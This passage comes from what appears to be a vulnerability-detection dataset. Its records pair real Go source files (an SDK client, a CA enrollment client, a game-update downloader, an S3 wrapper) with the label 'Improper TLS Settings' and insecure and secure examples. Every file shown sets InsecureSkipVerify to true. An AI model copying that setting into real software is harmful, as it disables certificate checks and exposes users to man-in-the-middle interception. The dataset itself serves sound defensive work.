!= \"\" && credential.Password != \"\" {\n\t\t\t\tservice.SetUsernameAndPassword(credential.Username, credential.Password)\n\t\t\t}\n\t\t}\n\n\t\tif service.Options.Username == \"\" && service.IAMTokenManager == nil && service.ICP4DTokenManager == nil {\n\t\t\treturn nil, fmt.Errorf(\"you must specify an IAM API key or username and password service credentials\")\n\t\t}\n\t}\n\n\treturn &service, nil\n}\n\n// SetUsernameAndPassword Sets the Username and Password\nfunc (service *BaseService) SetUsernameAndPassword(username string, password string) error {\n\tif HasBadFirstOrLastChar(username) {\n\t\treturn fmt.Errorf(\"The username shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your username\")\n\t}\n\tif HasBadFirstOrLastChar(password) {\n\t\treturn fmt.Errorf(\"The password shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your password\")\n\t}\n\tservice.Options.Username = username\n\tservice.Options.Password = password\n\treturn nil\n}\n\n// SetIAMAccessToken Sets the IAM access token\nfunc (service *BaseService) SetIAMAccessToken(iamAccessToken string) {\n\tif service.IAMTokenManager != nil {\n\t\tservice.IAMTokenManager.SetIAMAccessToken(iamAccessToken)\n\t} else {\n\t\ttokenManager, _ := NewIAMTokenManager(\"\", \"\", iamAccessToken, \"\", \"\")\n\t\tservice.IAMTokenManager = tokenManager\n\t}\n\tservice.Options.IAMAccessToken = iamAccessToken\n}\n\n// SetICP4DAccessToken Sets the ICP4D access token\nfunc (service *BaseService) SetICP4DAccessToken(icp4dAccessToken string) {\n\tif service.ICP4DTokenManager != nil {\n\t\tservice.ICP4DTokenManager.SetICP4DAccessToken(icp4dAccessToken)\n\t} else {\n\t\ttokenManager := NewICP4DTokenManager(\"\", \"\", \"\", icp4dAccessToken)\n\t\tservice.ICP4DTokenManager = tokenManager\n\t}\n\tservice.Options.ICP4DAccessToken = icp4dAccessToken\n}\n\n// SetIAMAPIKey Sets the IAM API key\nfunc (service *BaseService) SetIAMAPIKey(iamAPIKey string) error {\n\tif HasBadFirstOrLastChar(iamAPIKey) {\n\t\treturn fmt.Errorf(\"The credentials shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your credentials\")\n\t}\n\tif service.IAMTokenManager != nil {\n\t\tservice.IAMTokenManager.SetIAMAPIKey(iamAPIKey)\n\t} else {\n\t\ttokenManager, err := NewIAMTokenManager(iamAPIKey, \"\", \"\",\n\t\t\tservice.Options.IAMClientId, service.Options.IAMClientSecret)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tservice.IAMTokenManager = tokenManager\n\t}\n\tservice.Options.IAMApiKey = iamAPIKey\n\treturn nil\n}\n\n// SetURL sets the service URL\nfunc (service *BaseService) SetURL(url string) error {\n\tif HasBadFirstOrLastChar(url) {\n\t\treturn fmt.Errorf(\"The URL shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your URL\")\n\t}\n\tservice.Options.URL = url\n\treturn nil\n}\n\n// SetDefaultHeaders sets HTTP headers to be sent in every request.\nfunc (service *BaseService) SetDefaultHeaders(headers http.Header) {\n\tservice.DefaultHeaders = headers\n}\n\n// SetHTTPClient updates the client handling the requests\nfunc (service *BaseService) SetHTTPClient(client *http.Client) {\n\tservice.Client = client\n}\n\n// DisableSSLVerification skips SSL verification\nfunc (service *BaseService) DisableSSLVerification() {\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tservice.Client.Transport = tr\n\n\tif service.ICP4DTokenManager != nil {\n\t\tservice.ICP4DTokenManager.DisableSSLVerification()\n\t}\n}\n\n// BuildUserAgent : Builds the user agent string\nfunc (service *BaseService) BuildUserAgent() string {\n\treturn fmt.Sprintf(\"%s-%s %s\", SDK_NAME, __VERSION__, SystemInfo())\n}\n\n// SetUserAgent : Sets the user agent value\nfunc (service *BaseService) SetUserAgent(userAgentString string) {\n\tif userAgentString == \"\" {\n\t\tservice.UserAgent = service.BuildUserAgent()\n\t}\n\tservice.UserAgent = userAgentString\n}\n\n// Request performs the HTTP request\nfunc (service *BaseService) Request(req *http.Request, result interface{}) (*DetailedResponse, error) {\n\t// Add default headers\n\tif service.DefaultHeaders != nil {\n\t\tfor k, v := range service.DefaultHeaders {\n\t\t\treq.Header.Add(k, strings.Join(v, \"\"))\n\t\t}\n\t}\n\n\t// Check if user agent is present\n\tuserAgent := req.Header.Get(USER_AGENT)\n\tif userAgent == \"\" {\n\t\treq.Header.Add(USER_AGENT, service.UserAgent)\n\t}\n\n\t// Add authentication\n\tif service.IAMTokenManager != nil {\n\t\ttoken, err := service.IAMTokenManager.GetToken()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treq.Header.Add(AUTHORIZATION, fmt.Sprintf(`%s %s`, BEARER, token))\n\t} else if service.ICP4DTokenManager != nil {\n\t\ttoken, err := service.ICP4DTokenManager.GetToken()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treq.Header.Add(AUTHORIZATION, fmt.Sprintf(`%s %s`, BEARER, token))\n\t} else if service.Options.Username != \"\" && service.Options.Password != \"\" {\n\t\treq.SetBasicAuth(service.Options.Username, service.Options.Password)\n\t}\n\n\t// Perform the request\n\tresp, err := service.Client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresponse := new(DetailedResponse)\n\tresponse.Headers = resp.Header\n\tresponse.StatusCode = resp.StatusCode\n\tif resp.StatusCode < 200 || resp.StatusCode >= 300 {\n\t\tif resp != nil {\n\t\t\tresponse.Result = resp\n\t\t\tmessage := getErrorMessage(resp)\n\t\t\treturn response, fmt.Errorf(message)\n\t\t}\n\t}\n\n\tcontentType := resp.Header.Get(CONTENT_TYPE)\n\tif contentType != \"\" {\n\t\tif IsJSONMimeType(contentType) && result != nil {\n\t\t\tjson.NewDecoder(resp.Body).Decode(&result)\n\t\t\tresponse.Result = result\n\t\t\tdefer resp.Body.Close()\n\t\t}\n\t}\n\n\tif response.Result == nil && result != nil {\n\t\tresponse.Result = resp.Body\n\t}\n\n\treturn response, nil\n}\n\n// Errors : a struct for errors array\ntype Errors struct {\n\tErrors []Error `json:\"errors,omitempty\"`\n}\n\n// Error : specifies the error\ntype Error struct {\n\tMessage string `json:\"message,omitempty\"`\n}\n\nfunc getErrorMessage(response *http.Response) string {\n\tbody, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn UNKNOWN_ERROR\n\t}\n\n\tvar data map[string]interface{}\n\terr = json.Unmarshal(body, &data)\n\tif err != nil {\n\t\treturn string(body)\n\t}\n\n\tif _, ok := data[\"errors\"]; ok {\n\t\tvar errors Errors\n\t\tjson.Unmarshal(body, &errors)\n\t\treturn errors.Errors[0].Message\n\t}\n\n\tif val, ok := data[\"error\"]; ok {\n\t\treturn val.(string)\n\t}\n\n\tif val, ok := data[\"message\"]; ok {\n\t\treturn val.(string)\n\t}\n\n\tif val, ok := data[\"errorMessage\"]; ok {\n\t\treturn val.(string)\n\t}\n\n\treturn UNKNOWN_ERROR\n}\n\nfunc isForICP(credential string) bool {\n\treturn strings.HasPrefix(credential, ICP_PREFIX)\n}\n\nfunc isForICP4D(authenticationType, icp4dAccessToken string) bool {\n\treturn authenticationType == ICP4D || icp4dAccessToken != \"\"\n}\n\nfunc usesBasicForIAM(username, password string) bool {\n\treturn username == APIKEY && !isForICP(password)\n}\n\nfunc hasIAMCredentials(iamAPIKey, iamAccessToken string) bool {\n\treturn (iamAPIKey != \"\" || iamAccessToken != \"\") && !isForICP(iamAPIKey)\n}\n\nfunc (service *BaseService) loadFromCredentialFile(serviceName string, separator string) error {\n\t// File path specified by env variable\n\tcredentialFilePath := os.Getenv(IBM_CREDENTIAL_FILE_ENV)\n\n\t// Home directory\n\tif credentialFilePath == \"\" {\n\t\tvar filePath = path.Join(UserHomeDir(), DEFAULT_CREDENTIAL_FILE_NAME)\n\t\tif _, err := os.Stat(filePath); err == nil {\n\t\t\tcredentialFilePath = filePath\n\t\t}\n\t}\n\n\t// Top-level of project directory\n\tif credentialFilePath == \"\" {\n\t\tdir, _ := os.Getwd()\n\t\tvar filePath = path.Join(dir, \"..\", DEFAULT_CREDENTIAL_FILE_NAME)\n\t\tif _, err := os.Stat(filePath); err == nil {\n\t\t\tcredentialFilePath = filePath\n\t\t}\n\t}\n\n\tif credentialFilePath != \"\" {\n\t\tfile, err := os.Open(credentialFilePath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer file.Close()\n\n\t\tscanner := bufio.NewScanner(file)\n\t\tfor scanner.Scan() {\n\t\t\tvar line = scanner.Text()\n\t\t\tvar keyVal = strings.Split(line, separator)\n\t\t\tif len(keyVal) == 2 {\n\t\t\t\tservice.setCredentialBasedOnType(serviceName, strings.ToLower(keyVal[0]), keyVal[1])\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (service *BaseService) checkCredentials() error {\n\tcredentialsToCheck := map[string]string{\n\t\t\"URL\": service.Options.URL,\n\t\t\"username\": service.Options.Username,\n\t\t\"password\": service.Options.Password,\n\t\t\"credentials\": service.Options.IAMApiKey,\n\t}\n\n\tfor k, v := range credentialsToCheck {\n\t\tif HasBadFirstOrLastChar(v) {\n\t\t\treturn fmt.Errorf(\"The %s shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your %s\", k, k)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (service *BaseService) setCredentialBasedOnType(serviceName, key, value string) {\n\tif strings.Contains(key, serviceName) {\n\t\tif strings.Contains(key, APIKEY) {\n\t\t\tservice.SetIAMAPIKey(value)\n\t\t} else if strings.Contains(key, URL) {\n\t\t\tservice.SetURL(value)\n\t\t} else if strings.Contains(key, USERNAME) {\n\t\t\tservice.Options.Username = value\n\t\t} else if strings.Contains(key, PASSWORD) {\n\t\t\tservice.Options.Password = value\n\t\t} else if strings.Contains(key, IAM_APIKEY) {\n\t\t\tservice.SetIAMAPIKey(value)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 252, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "4b91771bf4557d100ce7e8043e4cd4788dc3991898581e5fcc63c985e59fac62", "license": {"spdx": ["Apache-2.0"], "repo": "IBM-Blockchain/microfab", "path": "internal/pkg/ca/connection.go", "repo_head_hexsha": "f8d929a2236178d23671f44b54259e78fb6f808e", "stack_hexsha": "26bb0c9b7a827add19293b2b7a2e19bbb7da0f26", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 73, "entireCode": "/*\n * SPDX-License-Identifier: Apache-2.0\n */\n\npackage ca\n\nimport (\n\t\"bytes\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/IBM-Blockchain/microfab/internal/pkg/identity\"\n\t\"github.com/IBM-Blockchain/microfab/pkg/client\"\n\t\"github.com/pkg/errors\"\n)\n\n// Connection represents a connection to a certificate authority.\ntype Connection struct {\n\tca *CA\n}\n\n// Connect opens a connection to the certificate authority.\nfunc Connect(ca *CA) (*Connection, error) {\n\treturn &Connection{ca: ca}, nil\n}\n\n// Close closes the connection to the certificate authority.\nfunc (c *Connection) Close() error {\n\treturn nil\n}\n\n// Enroll enrolls an identity using the certificate authority.\nfunc (c *Connection) Enroll(name, id, secret string) (*identity.Identity, error) {\n\tprivateKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttemplate := &x509.CertificateRequest{\n\t\tSubject: pkix.Name{\n\t\t\tCommonName: id,\n\t\t},\n\t}\n\tcsr, err := x509.CreateCertificateRequest(rand.Reader, template, privateKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcsrPEM := pem.EncodeToMemory(&pem.Block{Type: \"CERTIFICATE REQUEST\", Bytes: csr})\n\trequest := map[string]interface{}{\n\t\t\"certificate_request\": string(csrPEM),\n\t}\n\tdata, err := json.Marshal(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treader := bytes.NewReader(data)\n\treq, err := http.NewRequest(\"POST\", fmt.Sprintf(\"%s/enroll\", c.ca.APIURL(true)), reader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.SetBasicAuth(id, secret)\n\tcli := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t},\n\t\t},\n\t}\n\tresp, err := cli.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != 201 {\n\t\treturn nil, errors.Errorf(\"Failed to enroll using certificate authority: %s\", resp.Status)\n\t}\n\tresponse := map[string]interface{}{}\n\terr = json.NewDecoder(resp.Body).Decode(&response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := response[\"success\"].(bool)\n\tif !success || !ok {\n\t\treturn nil, errors.Errorf(\"Failed to enroll using certificate authority: %v\", response)\n\t}\n\tresult, ok := response[\"result\"].(map[string]interface{})\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"Invalid response to enroll using certificate authority: %v\", response)\n\t}\n\tb64cert, ok := result[\"Cert\"].(string)\n\tif !ok {\n\t\treturn nil, errors.Errorf(\"Invalid response to enroll using certificate authority: %v\", response)\n\t}\n\tcert, err := base64.StdEncoding.DecodeString(b64cert)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpk, err := x509.MarshalPKCS8PrivateKey(privateKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn identity.FromClient(&client.Identity{\n\t\tDisplayName: name,\n\t\tCertificate: cert,\n\t\tPrivateKey: pem.EncodeToMemory(&pem.Block{Type: \"PRIVATE KEY\", Bytes: pk}),\n\t\tCA: c.ca.identity.Certificate().Bytes(),\n\t})\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 73, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "42de1eaf521a5923d48bc897500feaf9cd036bcba61084b4746e0ee965b33657", "license": {"spdx": ["MIT"], "repo": "John-Gee/rpcs3-gameupdater", "path": "download.go", "repo_head_hexsha": "12370fcf049200473e7bdc091b6c0c6683963b0d", "stack_hexsha": "224942617c75c0142b4b89a8702828736634db72", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 26, "entireCode": "/* rpcs3-gameupdater - download helpers */\n\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t//\"math/rand\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cavaliercoder/grab\"\n)\n\nvar client *grab.Client\n\n// this sets up the downloader */\nfunc initDownloader() {\n\tclient = grab.NewClient()\n\t// we need this because we can't verify the signature\n\tclient.HTTPClient.Transport = &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tclient.HTTPClient.Timeout = time.Duration(conf.DLTimeout) * time.Second\n}\n\n/* simple downloader that supports a UI and resuming */\n\nfunc downloadFile(folderPath string, url string) (string, error) {\n\t// Get the data\n\treq, err := grab.NewRequest(folderPath, url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tresp := client.Do(req)\n\t// start UI loop\n\tt := time.NewTicker(500 * time.Millisecond)\n\tdefer t.Stop()\n\tstart := time.Now()\n\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase <-t.C:\n\t\t\tsameLinePrint(\"Transferred %v/%v Mb (%.2f%%) at %.0f Mb/s\",\n\t\t\t\tresp.BytesComplete()/1024/1024,\n\t\t\t\tresp.Size/1024/1024,\n\t\t\t\t100*resp.Progress(),\n\t\t\t\tresp.BytesPerSecond()/1024/1024)\n\n\t\tcase <-resp.Done:\n\t\t\tsameLinePrint(\"Transferred %v/%v Mb (%.2f%%) at %.0f Mb/s\",\n\t\t\t\tresp.BytesComplete()/1024/1024,\n\t\t\t\tresp.Size/1024/1024,\n\t\t\t\t100*resp.Progress(),\n\t\t\t\tfloat64(resp.Size)/(time.Now().Sub(start).Seconds())/1024/1024)\n\t\t\tstopSameLinePrint()\n\t\t\tbreak Loop\n\t\t}\n\t}\n\tif err := resp.Err(); err != nil {\n\t\tprintError(\"Download failed: %v\\n\", err)\n\t\treturn \"\", err\n\t}\n\treturn resp.Filename, err\n}\n\n/* removes \".tmp\" from the filename */\n\nfunc renameToNoTmp(fileName string) string {\n\tnewName := strings.Replace(fileName, \".tmp\", \"\", 1)\n\tos.Rename(fileName, newName)\n\treturn newName\n}\n\n// VerifyChecksums is a function passed to downloadFileWithRetries\n// to verify the PKG after downloading it\ntype VerifyChecksums func(string, string) bool\n\n/* has logic to retry and sleep */\n\nfunc downloadWithRetries(folderPath string, url string, sha string, verifyChecksums VerifyChecksums) string {\n\tfilePath := path.Join(folderPath, filepath.Base(url))\n\tif pathExists(filePath) {\n\t\treturn filePath\n\t}\n\tfilePath = filePath + \".tmp\"\n\tfor i := 0; i < fetchConfig().DLRetries; i++ {\n\t\t//time.Sleep(time.Duration(rand.Int31n(100)) * time.Millisecond)\n\t\tfileName, err := downloadFile(filePath, url)\n\t\tif err != nil {\n\t\t\tprintError(\"Couldn't download '%s' at '%s' (errorcode: '%s')\", url, fileName, err)\n\t\t\tcontinue\n\t\t}\n\t\tif verifyChecksums != nil {\n\t\t\tif verifyChecksums(fileName, sha) {\n\t\t\t\treturn renameToNoTmp(fileName)\n\t\t\t}\n\t\t\t// because the downloader retries based on file size\n\t\t\t// keeping the wrong file around could be a problem\n\t\t\t// it may be better to keep it for a retry or so first though\n\t\t\terr := os.Remove(fileName)\n\t\t\tif err != nil {\n\t\t\t\tprintError(\"Couldn't delete file '%s' (errorcode: '%s')\", fileName, err)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\treturn renameToNoTmp(fileName)\n\t}\n\treturn \"\"\n}\n\n/* download the XML */\n\nfunc getXML(url string) []byte {\n\tfileName := downloadWithRetries(fetchConfig().XMLCachePath, url, \"\", nil)\n\tdata, err := ioutil.ReadFile(fileName)\n\tif err != nil {\n\t\tprintError(\"Error reading the file at %s (errorcode: %s)\", fileName, err)\n\t}\n\treturn data\n\n}\n\n/* download the PKG file */\n\nfunc getPKG(url string, sha string) bool {\n\tfileName := downloadWithRetries(fetchConfig().PkgDLPath, url, sha, verifyPKGChecksums)\n\tif fileName != \"\" {\n\t\treturn false\n\t}\n\treturn true\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 26, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "03241bfecec04c96973405c80f10e49f20b4a40c55865547a198b85059962eaa", "license": {"spdx": ["Apache-2.0"], "repo": "osherdp/assisted-service", "path": "pkg/s3wrapper/client.go", "repo_head_hexsha": "bff22ab3ab4a469f4f9d40c676a45f6976f21449", "stack_hexsha": "3e79b991773524be0338e49f2b1392b982dcfaa4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 147, "entireCode": "package s3wrapper\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/awserr\"\n\t\"github.com/aws/aws-sdk-go/aws/credentials\"\n\t\"github.com/aws/aws-sdk-go/aws/session\"\n\t\"github.com/aws/aws-sdk-go/service/s3\"\n\t\"github.com/aws/aws-sdk-go/service/s3/s3iface\"\n\t\"github.com/aws/aws-sdk-go/service/s3/s3manager\"\n\t\"github.com/aws/aws-sdk-go/service/s3/s3manager/s3manageriface\"\n\t\"github.com/go-openapi/swag\"\n\t\"github.com/openshift/assisted-service/internal/common\"\n\t\"github.com/openshift/assisted-service/internal/isoeditor\"\n\t\"github.com/openshift/assisted-service/internal/versions\"\n\tlogutil \"github.com/openshift/assisted-service/pkg/log\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/sirupsen/logrus\"\n)\n\nconst (\n\tawsEndpointSuffix = \".amazonaws.com\"\n\trhcosObjectTemplate = \"rhcos-%s.iso\"\n\trhcosMinimalObjectTemplate = \"rhcos-%s-minimal.iso\"\n\tDiscoveryImageTemplate = \"discovery-image-%s\"\n)\n\n//go:generate mockgen -package=s3wrapper -destination=mock_s3wrapper.go . API\n//go:generate mockgen -package s3wrapper -destination mock_s3iface.go github.com/aws/aws-sdk-go/service/s3/s3iface S3API\n//go:generate mockgen -package s3wrapper -destination mock_s3manageriface.go github.com/aws/aws-sdk-go/service/s3/s3manager/s3manageriface UploaderAPI\ntype API interface {\n\tIsAwsS3() bool\n\tCreateBucket() error\n\tUpload(ctx context.Context, data []byte, objectName string) error\n\tUploadStream(ctx context.Context, reader io.Reader, objectName string) error\n\tUploadFile(ctx context.Context, filePath, objectName string) error\n\tUploadISO(ctx context.Context, ignitionConfig, srcObject, destObjectPrefix string) error\n\tDownload(ctx context.Context, objectName string) (io.ReadCloser, int64, error)\n\tDoesObjectExist(ctx context.Context, objectName string) (bool, error)\n\tDeleteObject(ctx context.Context, objectName string) (bool, error)\n\tGetObjectSizeBytes(ctx context.Context, objectName string) (int64, error)\n\tGeneratePresignedDownloadURL(ctx context.Context, objectName string, downloadFilename string, duration time.Duration) (string, error)\n\tUpdateObjectTimestamp(ctx context.Context, objectName string) (bool, error)\n\tExpireObjects(ctx context.Context, prefix string, deleteTime time.Duration, callback func(ctx context.Context, log logrus.FieldLogger, objectName string))\n\tListObjectsByPrefix(ctx context.Context, prefix string) ([]string, error)\n\tUploadISOs(ctx context.Context, openshiftVersion string, haveLatestMinimalTemplate bool) error\n\tGetBaseIsoObject(openshiftVersion string) (string, error)\n\tGetMinimalIsoObjectName(openshiftVersion string) (string, error)\n\n\tCreatePublicBucket() error\n\tUploadStreamToPublicBucket(ctx context.Context, reader io.Reader, objectName string) error\n\tUploadFileToPublicBucket(ctx context.Context, filePath, objectName string) error\n\tDoesPublicObjectExist(ctx context.Context, objectName string) (bool, error)\n\tDownloadPublic(ctx context.Context, objectName string) (io.ReadCloser, int64, error)\n}\n\nvar _ API = &S3Client{}\n\ntype S3Client struct {\n\tlog logrus.FieldLogger\n\tsession *session.Session\n\tclient s3iface.S3API\n\tuploader s3manageriface.UploaderAPI\n\tpublicSession *session.Session\n\tpublicClient s3iface.S3API\n\tpublicUploader s3manageriface.UploaderAPI\n\tcfg *Config\n\tisoUploader ISOUploaderAPI\n\tversionsHandler versions.Handler\n\tisoEditorFactory isoeditor.Factory\n}\n\ntype Config struct {\n\tS3EndpointURL string `envconfig:\"S3_ENDPOINT_URL\"`\n\tRegion string `envconfig:\"S3_REGION\"`\n\tS3Bucket string `envconfig:\"S3_BUCKET\"`\n\tAwsAccessKeyID string `envconfig:\"AWS_ACCESS_KEY_ID\"`\n\tAwsSecretAccessKey string `envconfig:\"AWS_SECRET_ACCESS_KEY\"`\n\n\t// Warning - the files stored in this bucket are publicly viewable and therefore\n\t// should only be used for storing RHCOS image files that are readily available on the Internet\n\tPublicS3EndpointURL string `envconfig:\"S3_ENDPOINT_URL_PUBLIC\"`\n\tPublicRegion string `envconfig:\"S3_REGION_PUBLIC\"`\n\tPublicS3Bucket string `envconfig:\"S3_BUCKET_PUBLIC\"`\n\tPublicAwsAccessKeyID string `envconfig:\"AWS_ACCESS_KEY_ID_PUBLIC\"`\n\tPublicAwsSecretAccessKey string `envconfig:\"AWS_SECRET_ACCESS_KEY_PUBLIC\"`\n}\n\nconst timestampTagKey = \"create_sec_since_epoch\"\n\n// NewS3Client creates new s3 client using default config along with defined env variables\nfunc NewS3Client(cfg *Config, logger logrus.FieldLogger, versionsHandler versions.Handler, isoEditorFactory isoeditor.Factory) *S3Client {\n\tawsSession, err := newS3Session(cfg.AwsAccessKeyID, cfg.AwsSecretAccessKey, cfg.Region, cfg.S3EndpointURL)\n\tif err != nil {\n\t\tlogger.WithError(err).Error(\"failed to create s3 session\")\n\t\treturn nil\n\t}\n\tclient := s3.New(awsSession)\n\tif client == nil {\n\t\treturn nil\n\t}\n\tuploader := s3manager.NewUploader(awsSession)\n\n\tpublicAwsSession, err := newS3Session(cfg.PublicAwsAccessKeyID, cfg.PublicAwsSecretAccessKey, cfg.PublicRegion, cfg.PublicS3EndpointURL)\n\tif err != nil {\n\t\tlogger.WithError(err).Error(\"failed to create s3 public session\")\n\t\treturn nil\n\t}\n\tpublicClient := s3.New(publicAwsSession)\n\tif publicClient == nil {\n\t\treturn nil\n\t}\n\tpublicUploader := s3manager.NewUploader(publicAwsSession)\n\n\tisoUploader := NewISOUploader(logger, client, cfg.S3Bucket, cfg.PublicS3Bucket)\n\treturn &S3Client{client: client, session: awsSession, uploader: uploader,\n\t\tpublicClient: publicClient, publicSession: publicAwsSession, publicUploader: publicUploader,\n\t\tcfg: cfg, log: logger, isoUploader: isoUploader, versionsHandler: versionsHandler,\n\t\tisoEditorFactory: isoEditorFactory}\n}\n\nfunc newS3Session(accessKeyID, secretAccessKey, region, endpointURL string) (*session.Session, error) {\n\tHTTPTransport := &http.Transport{\n\t\tProxy: http.ProxyFromEnvironment,\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 30 * time.Second,\n\t\t}).Dial,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 0,\n\t\tMaxIdleConnsPerHost: 4096,\n\t\tMaxIdleConns: 0,\n\t\tIdleConnTimeout: time.Minute,\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // true to enable use s3 with ip address (minio)\n\t}\n\tcreds := credentials.NewStaticCredentials(accessKeyID, secretAccessKey, \"\")\n\n\tawsConfig := &aws.Config{\n\t\tRegion: aws.String(region),\n\t\tEndpoint: aws.String(endpointURL),\n\t\tCredentials: creds,\n\t\tS3ForcePathStyle: aws.Bool(true),\n\t\tS3Disable100Continue: aws.Bool(true),\n\t\tHTTPClient: &http.Client{Transport: HTTPTransport},\n\t}\n\tawsSession, err := session.NewSession(awsConfig)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to create s3 session\")\n\t}\n\n\treturn awsSession, nil\n}\n\nfunc (c *S3Client) IsAwsS3() bool {\n\t// If AWS, URL should be empty or like s3.us-east-1.amazonaws.com\n\tif c.cfg.S3EndpointURL == \"\" || strings.HasSuffix(c.cfg.S3EndpointURL, awsEndpointSuffix) {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (c *S3Client) createBucket(client s3iface.S3API, bucket string) error {\n\t// assume an error from HeadBucket means the bucket does not exist\n\tif _, err := client.HeadBucket(&s3.HeadBucketInput{\n\t\tBucket: swag.String(bucket),\n\t}); err == nil {\n\t\treturn nil\n\t}\n\n\tif _, err := client.CreateBucket(&s3.CreateBucketInput{\n\t\tBucket: swag.String(bucket),\n\t}); err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to create S3 bucket %s\", bucket)\n\t}\n\treturn nil\n}\n\nfunc (c *S3Client) CreateBucket() error {\n\treturn c.createBucket(c.client, c.cfg.S3Bucket)\n}\n\nfunc (c *S3Client) CreatePublicBucket() error {\n\treturn c.createBucket(c.publicClient, 